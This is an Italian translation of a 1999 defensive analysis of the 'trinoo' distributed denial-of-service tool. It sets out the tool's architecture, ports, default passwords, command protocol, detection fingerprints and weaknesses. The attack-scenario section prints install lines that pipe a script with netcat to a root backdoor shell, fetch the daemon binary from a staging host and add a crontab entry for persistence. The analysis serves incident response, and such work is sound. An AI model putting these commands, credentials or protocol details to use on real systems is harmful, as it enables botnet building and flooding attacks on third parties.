|
-
====================================================================================
"Trinoo" strumento di attacco per il diniego di servizio distribuito del DoS Project
====================================================================================
David Dittrich<dittrich@cac.washington.edu>
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999
*** Tradotto dal LOA ( http://www.ecn.org/loa ) ***
Introduzione
------------
La seguente e' un'analisi dei programmi master/slave "trinoo" (conosciuto
anche come "trin00") del Progetto DoS, che implementano uno strumento per
il diniego di servizio su rete distribuita.
ALcuni demoni trinoo sono stati originariamente trovati in forma binaria in un
numero di sistemi Solaris 2.x, che erano stati identificati come compromessi
con exploit di bug di buffer overrun nei servizi RPC "statd" "cmsd" e
"ttdbserverd" Questi attacchi sono descritti in una Nota Incidenti CERT:
http://www.cert.org/incident_notes/IN-99-04.html
Originariamente si credeva che i demoni trinoo fossero shell a comando remoto
con accesso riservato, basati su UDP, forse usati insieme a sniffer per
il recupero automatico automatico di log di sniffer.
Durante l'analisi di queste intrusioni, l'installazione di una rete trinoo fu
colta sul fatto e il codice sorgente di trinoo fu ottenuto dall'account usato
per nascondere gli strumenti dell'intrusore e i log.
Questa analisi e' stata effettuata usando questo codice sorgente recuperato.
Eventuali modifiche del codice sorgente potrebbero cambiare qualunque dei
dettagli di queste analisi, come prompt, password, comandi, numeri di porte
TCP/UDP, metodi di attacco supportati, firme e features.
Il demone e' stato compilato ed eseguito su sistemi Solaris 2.5.1 e Linux
Red Hat 6.0. Si crede che sia il demone e il master siano stati osservati in
azione su queste stesse piattaforme.
Reti trinoo stanno probabilmente venendo installate su centinaia, forse migliaia
di sistemi su internet che stanno venendo compromessi con exploit di buffer
overrun. L'accesso a questi sistemi sta probabilmente venendo perpetuato
mediante l'istallazione di "back door" multiple insieme a ai demoni trinoo.
Una rete di almeno 227 sistemi, -- 114 di questi su siti Internet2 -- fu usato
il 17 agosto 1999 per flooddare un singolo sistema nell Universita' del
Minnesota, inondando la rete bersaglio e rendendola inutilizzabile per piu'
di due giorni. Durante la risposta a a questo attacco, ampi flussi sono anche
riportati verso almeno altri sedici sistemi, alcuni al di fuori degli Stati
Uniti (Vedi l'appndice D per una parte del resoconto di questi attacchi trinoo.)
Scenario d'attacco
------------------
Una istallazione tipica potrebbe essere qualcosa di simile a questo.
- Un account rubato e' installato come deposito di versioni precompilate di
strumenti di scanning, strumenti di attacco (ad es. exploit di buffer overrun),
root kits e sniffer, demoni trinoo e programmi master, liste di host
vulnerabili e host precedentemente compromessi, etc. Questo potrebbe
normalmente essere un ampio sistema con molti utenti, con una scarsa
supervisione amministrativa, e una connessione ad ampia banda per un veloce
trasferimento di file.
- Uno scan viene effettuato su un ampio raggio di blocchi di sistemi per
identificare bersagli potenziali. Fra i bersagli potrebbero essere inclusi
sistemi che su cui girano vari servizi conosciuti per avere bugs di sicurezza
exploitabili da remoto mediante buffer overflow, come wu-ftpd servizi RPC per
"cmsd", "statd", "ttdbserverd", "amd", etc. I sistemi bersaglio sembrano essere
primariamente Sun Solaris 2.x e Linux (a causa della pronta disponibilita' di
sniffer di sistema e "root kits" per nascondere backdoors, etc.) ma
account rubati su qualunque architettura possono essere usati per nascondere
strumenti e file di log.
- Una lista di sistemi vulnerabili e' quindi usata per creare uno script che
effettua l'exploit, installa una shell che gira sotto l'account di root e che
rimane in ascolto su una porta TCP (solitamente 1524/tcp, la porta di ingresso
"ingreslock"), e si connette a questa porta per confermare il successo
dell'exploit. In alcuni casi, un messaggio di posta elettronica e' inviato ad
un account su un servizio di email freeweb per confermare quali sistemi sono
stati compromessi.
Il risultato e' una lista di sistemi "controllati" pronti per l'istallazione
di backdoors, sniffer, o il demone o il master di trinoo.
- Da questa lista di sistemi compromessi, sottoinsiemi con l'architettura
desiderata vengono scelti per la rete trinoo. Binari precompilati del demone
trinoo vengono creati e conservati su di un account rubato da qualche parte
sull'Internet.
- Viene quindi lanciato uno script che prende questa lista di sistemi
"controllati" e produce un ulteriore script per automatizzare il processo di
installazione lanciando ogni installazione in background per il massimo
multitasking.
Questo script usa "netcat" ("nc") per mettere in pipe uno script di shell
alla shell di root in ascolto, in questo caso, sulla porta 1524/tcp:
---------------------------------------------------------------------------
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
./trin.sh | nc 128.aaa.167.219 1524 &
./trin.sh | nc 128.aaa.187.38 1524 &
./trin.sh | nc 128.bbb.2.80 1524 &
./trin.sh | nc 128.bbb.2.81 1524 &
./trin.sh | nc 128.bbb.2.238 1524 &
./trin.sh | nc 128.ccc.12.22 1524 &
./trin.sh | nc 128.ccc.12.50 1524 &
. . .
---------------------------------------------------------------------------
Lo script "trin.sh", il cui output viene inviato a questi sistemi e' tipo:
---------------------------------------------------------------------------
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"
echo "chmod +x /usr/sbin/rpc.listen"
echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"
echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
---------------------------------------------------------------------------
A seconda di quanto attentamente i file crontab vengono monitorati o se
vengono usati addirittura, questo puo' essere individuato facilmente. Se cron
non viene usato del tutto da questo utente (solitamente root), questo potrebbe
non essere individuato del tutto.
Un metodo e' stato individuato su almeno un altro sistema, dove il demome era
stato chiamato "xterm", ed e' stato mediante uno script (chiamato "c" nel
sistema in cui e' stato individuato) che contiene:
---------------------------------------------------------------------------
cd /var/adm/.1
PATH=.:$PATH
export PATH
xterm 1>/dev/null 2>&1
---------------------------------------------------------------------------
Teoricamente questo implicherebbe un metodo per lanciare a richiesta questo
script per installare la rete trinoo.
Metodi ancora piu' raffinati per rimanere i demoni/master di trino in attesa di
esecuzione in un momento determinato sono facili da immaginare (ad es. shell
client/server UDP o ICMP, come LOKI (vedi appendice C), programmi che si
attivano periodicamente e aprono una porta TCP o UDP in ascolto, etc.)
Il risultato di questa automazione e' l'abilita' degli attaccanti di installare
la rete per il denial of service, su sistemi molto dispersi i cui veri
possessori nenche sanno essere fuori dal loro controllo, in un breve periodo
di tempo.
- Opzionalmente un "root kit" viene installato sul sistema per nascondere la
presenza di programmi, file, e connessioni di rete. Questo e' piu' importante
sul sistema master, perche' questi sistemi sono la chiave pere la rete trinoo.
(Bisogna notare che in molti casi, i master sono stati installati sui
nameserver primari di Internet Service Providers, che normalmente hanno un
traffico di pacchetti estremamente alto e un grande numero di connessioni TCP e
UDP, che agli effetti nasconde ogni traffico o attivita' riferibile a trinoo,
che non viene individuata.(Il fatto di essere name server primari tende anche
a rendere i loro gestori meno propensi a sconnettere da internet il sistema
quando cominciano ad arrivare resoconti riguardo una sospetta attivita' di
denial of service.)
Root kits potrebbero anche venir usati su sistemi che fanno girare sniffer che,
uniti a programmi come "hunt" (strumenti di hijacking di sessioni TCP/IP) sono
usati per ***borrowfurther direttamente in altri networks, invece che
attraverso exploit di buffer overrun da remoto (ad es., per trovare siti per
preparare nuovi depositi di file, etc.)
Per ulteriori informazioni sui "root kits" e sui modi di aggirarli, vedi:
http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq
La rete: attaccante/i-->master-->demone/i-->vittima/e
-----------------------------------------------------
La rete trinoo e' costituita da un server "master" ("master.c") e il demone trinoo
("ns.c"). Una rete trinoo appare cosi':
+-----------+ +-----------+
| attaccante| | attacante |
+-----------+ +-----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| master | | master | | master |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| demone | | demone | | demone | | demone | | demone |
+--------+ +--------+ +--------+ +--------+ +--------+
L'attaccante/i controlla uno o piu' server "master", ciascuno dei quali puo'
controllare molti "demoni" (nominati nel codice come host "Bcast" o
"broadcast"). Tutti i demoni sono istruiti per coordinare un attacco a
pacchetti contro uno o piu' sistemi vittima.
Tutto cio' che e' necessario per intraprendere attacchi di tipo denial of
service massicci e coordinati e' la capacita' di stabilire una connassione TCP
con l'host "master" e la password per il server "master".
Porte di comunicazione
----------------------
Attaccante verso il/i Master: 27665/tcp
Master verso il/i demone/i: 27444/udp
Demone verso il/i Master: 31335/udp
Il controllo remoto del master trinoo e' compiuto con una connessione
tcp alla porta 27665/tcp. Dopo la connessione, l'utente deve fornine la
password corretta ("betaalmostdone"). Se un'altra connessione al server viene
effettuata mentre qualcuno e' gia' autenticato, viene loro inviato un
messaggio di avviso con l'indirizzo ip dell'host che si connette (pare ci sia
un bug che riporta indirizzi ip non corretti, ma un avviso viene comunque
comunicato). Questo verra' indubbiamente corretto e dara' quindi agli
attaccanti il tempo di ripulire e coprire le proprie tracce.
La comunicazione dal master trinoo ai demoni avviene per mezzo di pacchetti
UDP sulla porta 27444/udp. Le linee di comando sono linee separate da spazi
sul modello di:
arg1 password arg2
La password di default per i comandi e' "l44adsl", e solo le linee di comando
contenenti la stringa "l44" vengono processate.
La forma di comunicazione dai demoni trinoo e dal master avviene per mezzo di
pacchetti UDP sulla porta 31335/udp.
Quando il demone parte, inizialmente invia un "*HELLO*" al master, che mantiene
una lista di demoni attivi da lui controllati (pacchetto catturato usando
"sniffit"):
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
4C L 4F O 2A *
Se il master trinoo invia un comando "png" ad un demone sulla porta 27444/udp,
il demone rispondera' al server che ha inviato il comando "png" inviando la
stringa "PONG" sulla porta 31335/udp:
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
45 E 00 . 00 . 20 13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G
Password protection
-------------------
Tanto il master quanto i demoni sono protetti con password per prevenire che
gli amministratori di sistema (o altri gruppi hacker) siano in grado di
prendere il controllo della rete trinoo. Queste password sono password in
stile crypt(). Sono usate in maniera simmetrica, dove la password crittata e'
compilata all'interno del master e dei demoni e viene usata per compararla
con la versione in chiaro della password che viene inviata sulla rete (la
versione attuale non cripta la sessione corrente, cosi' le password in chiaro
sono esposte nel transito e le sessioni di controllo del master sono soggette
ad highjacking di sessioni TCP)
Appena lanciato, il demone master produce un prompt, in attesa di una password.
se la password corretta non viene ricevuta, il programma termina. Se viene
fornita la password corretta, il processo annuncia la sua esecuzione, forka
per continuare a girare in background e termina:
# ./master
?? wrongpassword
#
. . .
# ./master
?? gOrave
trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24]
#
Allo stesso modo, anche quando ti connetti alla porta per il controllo da
remoto (default porta 27665/tcp) devi fornire una password:
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host.
. . .
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo>
Anche alcuni comandi inviati al demone trinoo dal master sono protetti da
password. Questa password e' inviata in chiaro fra il master e il demone.
Le password di default sono:
"l44adsl" password del demone trinoo
"gOrave" avvio del trinoo master server (prompt "?? ")
"betaalmostdone" password dell'interfaccia da remoto del master trinoo
"killme" password del master trinoo per il controlllo del comando "mdie"
Comandi del master
------------------
Il master trinoo supporta i seguanti comandi:
die Termina il master
quit Disconnette dal master
mtimer N Setta il timer Dos a N secondi. N puo' essere compreso fra 1 e
1999 secondi. Se N e' < 1 default a 300. Se N e' > 2000,
defoult a 500.
dos IP DoS all'indirizzo ip specificato. Un comando "aaa l44asdl IP
viene inviato a ciascun host Bcast (cioe' demoni trinoo)
dicendo loro di DoSsare l'indirizzo ip specificato.
mdie pass Disabilita tutti gli host Bcast, se viene specificata la
corretta password. Viene inviato un comando ("d1e l44adsl") a
ciascun host Bcast dicendogli di terminare. Una password
specifica e' necessaria per questo comando.
mping Invia un comando PING ("png l44adsl"( ad ogni host Bcast
attivo.
mdos <ip1:ip2:ip3>
Dos multiplo. Invia un comando DoS multiplo
("xyz l44adsl 123:ip1:ip2:ip3") a ciascun host Bcast.
info Restituisce informazione sulla versione e la compilazione:
This is the "trinoo" AKA DoS Project master server version v1.07d2+f3+c
Compiled 15:08:41 Aug 16 1999
msize Setta la dimensione del buffer per i pacchetti inviati durante
gli attacchi DoS.
nslookup host Esegue un name service lookup dell'host specificato dalla
prospettiva dell'host sul quale il server "master" e' in
esecuzione.
killdead Tenta di eliminare tutti gli host bcast morti prima inviando
a tutti gli host Bcast conosciuti un comando ("shi l44adsl")
che porta qualunque demone attivo a rispondere con la stringa
"*HELLO*" iniziale, quindi rinomina il file Bcast
(con estensione "-b") cosi' che sia reinizializzato quando i
pacchetti "*HELLO*" vengono ricevuti.
usebackup Passa al file Bcast di backup creato dal comando
"killdead".
bcast Lista tutti gli host Bcast attivi.
help [cmd] Da' una lista dei comandi (parziale) o una breve descrizione
del comando "cmd" se specificato.
mstop Tenta di arrestare un attacco DoS (non implementato ma incluso
nel comando di help).
Comandi del demone
------------------
Il demone trinoo supporta i seguenti comandi:
aaa pass IP Esegua un DoS sullo specificato indirizzo IP. Invia pacchetti
UDP a porte UDP casuali (0-65534) sull'indirizzo IP specificato
per un periodo di tempo (default 120 secondi, or 1 - 1999
secondi come impostato dal comando "bbb".) Le dimensioni dei
pacchetti sono quelle impostate dal comando "rsz" o la
dimensione di default di 1000 byte.
bbb pass n Imposta il tempo-limite (in secondi) per gli attacchi DoS.
shi pass Invia la stringa "*HELLO*" alla lista di server "master"
compilata nel programma alla porta 31335/udp.
png pass Invia la stringa "PONG" sulla porta 31335/udp al master che ha
inviato il comando.
d1e pass Arresta il demone trinoo.
rsz N Imposta la dimensione del buffer per gli attacchi DoS a N byte.
(Il demone trinoo semplicemente alloca con malloc() un buffer
di queste dimensioni, poi invia il contenuto non inizializzato
di questo buffer durante un attacco.)
xyz pass 123:ip1:ip2:ip3
DoS multipli. Fa la stessa cosa del comando "aaa", ma per
indirizzi IP multipli.
Potrebbe essere una coincidenza, ma daro' credito all'autore e ipotizzo che i
comandi di tre lettere siano stati scelti in modo da non mostrarsi nel binario
come stringhe visibili con il funzionamento di default di STRINGS(1). Bisogna
usare l'opzione "--bytes=3" di GNU STRINGS(1) per vedere i comandi:
# strings --bytes=3 ns | tail -15
socket
bind
recvfrom
l44
%s %s %s
aIf3YWfOhw.V.
aaa
bbb
shi
png
PONG
d1e
rsz
xyz
*HELLO*
Fingerprints
------------
Il metodo usato per istallare il demone trinoo utilizza un'entry nel crontab
per lanciare il demone ogni minuto. L'esame del crontab potrebbe individuare
questa entry:
* * * * * /usr/sbin/rpc.listen
Il programma master crea un file (nome di default "...") che contiene l'elenco
degli host di Bcast. Se il comando "killdead" viene usato, viene inviato a
tutti i demoni elencati in "..." un comando "shi" che li porta a inviare la
stringa iniziale "*HELLO*" a tutti i master. La lista attuale viene rinominata
(default "...-b") e una nuova lista viene quindi generata quando ogni demone
rimanente invia il suo "*HELLO*".
Il codice sorgente ("master.c") contiene le seguenti linee:
------------------------------------------------------------------------------
. . .
/* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?)
comment out for no encryption... */
#define CRYPTKEY "ZsoTN.cq4X31"
. . .
------------------------------------------------------------------------------
Se il programma e' stato compilato con CRYPTKEY definito, gli indirizzi IP
degli host Bcast vengono criptati usando l'algoritmo di criptazione Blowfish:
# ls -l ... ...-b
-rw------- 1 root root 25 Sep 26 14:46 ...
-rw------- 1 root root 50 Sep 26 14:30 ...-b
# cat ...
JPbUc05Swk/0gMvui18BrFH/
# cat ...-b
aE5sK0PIFws0Y0EhH02fLVK.
JPbUc05Swk/0gMvui18BrFH/
Ipotizzando che non ci sia presente un "root kit" a nascondere i processi, il
server "master" mostre i seguenti network socket fingerprints (ovviamente, i
nomi e le posizioni delle directory di entrambi i programmi sono soggetti a
cambiamenti):
------------------------------------------------------------------------------
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:27665 *:* LISTEN
. . .
udp 0 0 *:31335 *:*
. . .
# lsof | egrep ":31335|:27665"
master 1292 root 3u inet 2460 UDP *:31335
master 1292 root 4u inet 2461 TCP *:27665 (LISTEN)
# lsof -p 1292
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
master 1292 root cwd DIR 3,1 1024 14356 /tmp/...
master 1292 root rtd DIR 3,1 1024 2 /
master 1292 root txt REG 3,1 30492 14357 /tmp/.../master
master 1292 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
master 1292 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
master 1292 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
master 1292 root 0u CHR 4,1 2967 /dev/tty1
master 1292 root 1u CHR 4,1 2967 /dev/tty1
master 1292 root 2u CHR 4,1 2967 /dev/tty1
master 1292 root 3u inet 2534 UDP *:31335
master 1292 root 4u inet 2535 TCP *:27665 (LISTEN)
------------------------------------------------------------------------------
Un sistema con il demone in esecuzione mostrerebbe cio che segue:
------------------------------------------------------------------------------
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
. . .
udp 0 0 *:1024 *:*
udp 0 0 *:27444 *:*
. . .
# lsof | egrep ":27444"
ns 1316 root 3u inet 2502 UDP *:27444
# lsof -p 1316
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ns 1316 root cwd DIR 3,1 1024 153694 /tmp/...
ns 1316 root rtd DIR 3,1 1024 2 /
ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns
ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
ns 1316 root 0u CHR 4,1 2967 /dev/tty1
ns 1316 root 1u CHR 4,1 2967 /dev/tty1
ns 1316 root 2u CHR 4,1 2967 /dev/tty1
ns 1316 root 3u inet 2502 UDP *:27444
ns 1316 root 4u inet 2503 UDP *:1024
------------------------------------------------------------------------------
Difese
------
Ovviamente, la miglior difesa e' in primo luogo prevenire intrusioni e
compromissioni a livello root dei propri sistemi, cosi' non ci sarebbero
sistemi su cui installare demoni o master trinoo. In un mondo ideale tutti i
sistemi sarebbero patchati, protetti, monitorati, sistemi di rilevamento
di intrusioni e firewalls sarebbero in grado di individuare e rifiutare
pacchetti, e io sarei un multimiliardario che vive sei mesi l'anno su una
spiaggia di Bali e sei mesi sulle Alpi Francesi. Nel mondo reale non c'e'
questa posiibilita' (almeno nel futuro prevedibile.)
Al contrario, il tuo network potrebbe avere gia' alcuni demoni trinoo in
esecuzione e pronti a DoSsare altri sistemi in ogni momento. Come possono
essere individuati o disabilitati?
Sicco me i programmi usano porte UDP con alti numeri sia per la comunicazione
che l'attacco, sarebbe molto difficile (se non impossibile) bloccarli senza
interrompere i programmi che usano UDP su porte con alti numeri.
Il metodo piu' semplice per individuare la presenza di master e demoni trinoo
puo' essere quello di di monitorare tutti i pacchetti UDP su segmenti condivisi
di ethernet e cercare segni di comunicazione fra il/i master e il/i demone/i
come descritto altrove in questo documento. (Switch potrebbero precludere
la possibilita' di vedere pacchetti UDP che non siano associati all'indirizzo
MAC dell'interfaccia di rete dell'host che monitora.) Sfortunatamente, questo
potrebbe succedere solo durante un attacco, che sarebbe probabilmente
individuato dalla degradazione del throughput del network e/o gli avvisi
di attacco denial of service dai siti vittima.
Se si sospetta che un sistema ospiti un demone trinoo che sta attaccando
attivamente, l'output del programma Solaris "truss" sul demone in esecuzione
mostrerebbe un output del tipo:
------------------------------------------------------------------------------
. . .
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...)
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0
time() = 938385467
open("/dev/udp", O_RDWR) = 5
ioctl(5, I_PUSH, "sockmod") = 0
ioctl(5, I_STR, 0xEFFFF748) = 0
ioctl(5, I_SETCLTIME, 0xEFFFF7FC) = 0
ioctl(5, I_SWROPT, 0x00000002) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0
ioctl(5, I_STR, 0xEFFFF660) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0
sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0) = 0
ioctl(5, I_STR, 0xEFFFF548) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
. . .
------------------------------------------------------------------------------
Il traffico sulla rete durante un attacco contro un singolo bersaglio
(osservato con "tcpdump") aparirebbe cosi':
------------------------------------------------------------------------------
# tcpdump ip host 192.168.0.1
. . .
15:40:08.491782 10.0.0.1.1024 > 192.168.0.1.27444: udp 25
15:40:08.574453 192.168.0.1.32885 > 216.160.XX.YY.16838: udp 4 (DF)
15:40:08.576427 192.168.0.1.32885 > 216.160.XX.YY.5758: udp 4 (DF)
15:40:08.579752 192.168.0.1.32885 > 216.160.XX.YY.10113: udp 4 (DF)
15:40:08.583056 192.168.0.1.32885 > 216.160.XX.YY.17515: udp 4 (DF)
15:40:08.600948 192.168.0.1.32885 > 216.160.XX.YY.31051: udp 4 (DF)
15:40:08.604943 192.168.0.1.32885 > 216.160.XX.YY.5627: udp 4 (DF)
15:40:08.610886 192.168.0.1.32885 > 216.160.XX.YY.23010: udp 4 (DF)
15:40:08.614202 192.168.0.1.32885 > 216.160.XX.YY.7419: udp 4 (DF)
15:40:08.615507 192.168.0.1.32885 > 216.160.XX.YY.16212: udp 4 (DF)
15:40:08.616854 192.168.0.1.32885 > 216.160.XX.YY.4086: udp 4 (DF)
15:40:08.618827 192.168.0.1.32885 > 216.160.XX.YY.2749: udp 4 (DF)
15:40:08.623480 192.168.0.1.32885 > 216.160.XX.YY.12767: udp 4 (DF)
15:40:08.625458 192.168.0.1.32885 > 216.160.XX.YY.9084: udp 4 (DF)
15:40:08.628764 192.168.0.1.32885 > 216.160.XX.YY.12060: udp 4 (DF)
15:40:08.632090 192.168.0.1.32885 > 216.160.XX.YY.32225: udp 4 (DF)
. . .
------------------------------------------------------------------------------
Debolezze
---------
La prima debolezza e' che le password criptate con cript(), e alcuni prompt e
stringhe di risposta, sono visibili nelle immagini binarie sia del master che
del demone.
Quasto puo' consentire di individuare se si e' scoperto un master o un demone,
determinare se le password sono i defoult mostrati in questo documento oppure
no, e potenzialmente permettere di exploitare la debolezza della password per
prendere il controllo di parte o tutta la rete trinoo.
Se il codice sorgente e' stato modificato, (e indubbiamente lo sara' da parte
degli attaccanti piu' abili), potresti avere bisogno di crackare le password
o usare un editor esadecimale/ASCII (ad es. "xxd", parte della editor suite
VIM) e cambiarle nell immagine binaria, allo scopo di, per esempio, eseguire
il master per ottenere la lista dei demoni.
Se il sorgente non e' stato modificato, lo si puo' determinare osservando le
stringhe compilate nel binario del programma
------------------------------------------------------------------------------
# strings - ns
. . .
socket
bind
recvfrom
%s %s %s
aIf3YWfOhw.V. <=== password "l44adsl" criptata con crypt()
PONG
*HELLO*
. . .
# strings - master
. . .
---v
v1.07d2+f3+c
trinoo %s
l44adsl <=== versione in chiaro della password del demone
sock
0nm1VNMXqRMyM <=== password "g0rave" criptata con crypt()
10:09:24
Sep 26 1999
trinoo %s [%s:%s]
bind
read
*HELLO*
ZsoTN.cq4X31 <=== CRYPTKEY
bored
NEW Bcast - %s
PONG
PONG %d Received from %s
Warning: Connection from %s
beUBZbLtK7kkY <=== password "betaalmostdone" criptata con crypt()
trinoo %s..[rpm8d/cb4Sx/]
. . .
DoS: usage: dos <ip>
DoS: Packeting %s.
aaa %s %s
mdie
ErDVt6azHrePE <=== password per il comando "mdie" criptata con crypt()
mdie: Disabling Bcasts.
d1e %s
mdie: password?
. . .
------------------------------------------------------------------------------.
Seconda e piu' vulnerabile e' la password del demone, che viaggia sul network
in chiaro. Ipotizzando di conoscere la porta UDP su cui il master comunica
col client, e' possibile catturare la password usando "sniffit", "ngrep",
"tcpdump", o qualunque programma di monitoraggio network capace di mostrare
i data payloads dei pacchetti UDP (vedi Appendice A per una sessione di
esempio loggata con "ngrep")
Per esempio, questo e' il comando "png" inviato al demone trinoo visto con
"sniffit":
UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
6C l 34 4 34 4 61 a 64 d 73 s 6C l
Come riportato prima, il comando "mdie" nel master trinoo e' protetto da
password nel master stesso. ci sono vari modi per attaccare questo.
Riuscendo a determinare la stringa criptata con cript() usando il comando
Unix "strings" si potrebbe "teoricamente" usare un'utility per il crack delle
password, come "crack" e romperla (vedi Appendice C). Questo puo' richiedere
MOLTO tempo se la password e' stata scelta bene ma e' fattibile (e la
password "killme" per il comando "mdie" e' stata rotta in meno di 30 secondi su
di un PentiumII).
Si potrebbe tentare di sniffare la password sul cavo fra l'attaccante e il
master, ma presumibilmente questo comando non verrebbe usato spesso
dall'attaccante, perche' vuole che il demone sia attivo quando necessario per
un attacco.
Si potrebbe avere maggiore fortuna sniffando la password del demone, visto
che e' necessaria per la maggior parte dei comandi. Questo puo' essere fatto
sia sulla rete del demone che del master (solitamente questi sono reti
totalmente differenti) Dovrebbe essere piu' senplice sulla rete del demone
siccome ci sono molti piu' demoni che master. Siccome molti master sono stati
trovati su nameserver primari, ci potrebbe presubimilmente essere molto piu'
traffico su porte UDP con numeri alti su reti contenenti i master che sulle
reti contenenti demoni. (al di fuori della durata dell'attacco denial of
service) Inoltre si potrebbe probabilmente trovare molti demoni in un dato
sito forse come risultato della scoperta della compromissione del sistema
originario.
Una volta individuato un demone, si e' anche in possesso della lista di
indirizzi ip dei master (usa "strings" per individuarli.) E' necessario
contattare immediatamente questi siti e convincerli di esaminare attentamente
il sistema ala ricerca di segni di intrusione, con probabili installazioni di
"root kit" per rendere questo compito ancora piu' arduo, e tentare di
coordinare una risposta.
Avendo trovato un master, la lista dei demoni (che includerebbe probabilmente
host di molti altri siti) puo' essere ottenuta semplicemente identificando il
file che contiene la lista, se non criptato. Se, invece, il file e' criptato,
si potrebbe dover decriptare il file criptato con blowfish usando la stessa
chiave compilata nel programma o prendere controllo del master e usare il
comando "bcast".
Se viene individuata una sessione comandi attiva verso un master, che e' una
sessione TCP di tipo "telnet", si potrebbe fare hijack sulla sessione usando
"hunt" e iniziandooa inviare comandi. Non essendo a conoscenza della password
di "mdie" non sarebbe possibile disabilitare tutti i demoni direttamente, ma
si potrebbe usare il comando "bcast" e ottenere una lista di tutti
(probabilmente si dovrebbe usare il comando "script" per generare una
trascrizione della sessione, visto che potrebbe essere una lista molto ampia)
Una volta a conoscenza degli indirizzi dei tutti i demoni e la password dei
demoni (visibile nell'output di "strings"), si potrebbe quindi inviare la
corretta stringa di comando in pacchetti UDP a qualunque sospetto demone
trinoo. La creazione e trasmissione di pacchetti UDP puo' essere effettuata
con strumenti come LibNet, Spak, the Perl Net::RawIP library, etc.(E' stato
sviluppato uno script Perl chiamato "trinot" che usa Net::RawIP per svolgere
questo compito. Vedi Appendice B).
Siccome l'installazione tipica del demone include un'entry nel crontab che
lo avvia ogni minuto, sarebbe necessario ***spray costantemente la propria
intera rete per impedire ai demoni di riavviarsi. (questo puo' essere a causa
di errori di programmazione che causano crash occasionali dei demoni o puo'
essere per ingannare amministratori di sistema che si accorgono e semplicemente
uccidono il processo ma non pensano di cercare un'entry del crontab che
riavvia i demoni.)
I demoni possono anche essere individuati sul proprio network sniffando la
porzione dati dei pacchetti UDP alla ricerca delle stringhe "*HELLO*" e "PONG"
